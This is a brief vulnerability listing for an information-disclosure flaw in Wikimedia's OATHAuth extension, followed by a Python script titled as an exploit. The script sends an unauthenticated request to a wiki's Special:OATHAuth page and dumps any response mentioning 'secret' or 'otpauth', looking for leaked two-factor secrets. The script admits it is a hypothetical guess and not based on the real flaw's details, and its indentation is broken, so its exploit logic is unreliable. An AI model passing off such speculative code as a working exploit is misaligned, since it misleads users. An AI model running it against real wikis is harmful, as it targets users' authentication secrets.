Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation OATHAuth.
This issue affects OATHAuth: from * before 1.43.7, 1.44.4, 1.45.2.
The following code is for security research and authorized testing only.
python
import requests
# Exploit Title: CVE-2026-34087 OATHAuth Sensitive Information Disclosure
# Description: PoC to demonstrate information disclosure vulnerability in OATHAuth.
# Note: This is a hypothetical PoC based on the vulnerability description.
target_url = "http://target-wiki/wiki/Special:OATHAuth"
try:
# Send a request to the vulnerable endpoint without authentication
response = requests.get(target_url)
if response.status_code == 200:
print("[+] Request successful. Checking for sensitive data leakage...")
# Hypothetical check for leaked TOTP secret in response body
if "secret" in response.text.lower() or "otpauth" in response.text.lower():
print("[!] Potential sensitive information found in response:")
print(response.text)
else:
print("[-] No obvious leakage detected in this specific response.")
else:
print(f"[-] Target returned status code: {response.status_code}")
except Exception as e:
print(f"[!] An error occurred: {e}")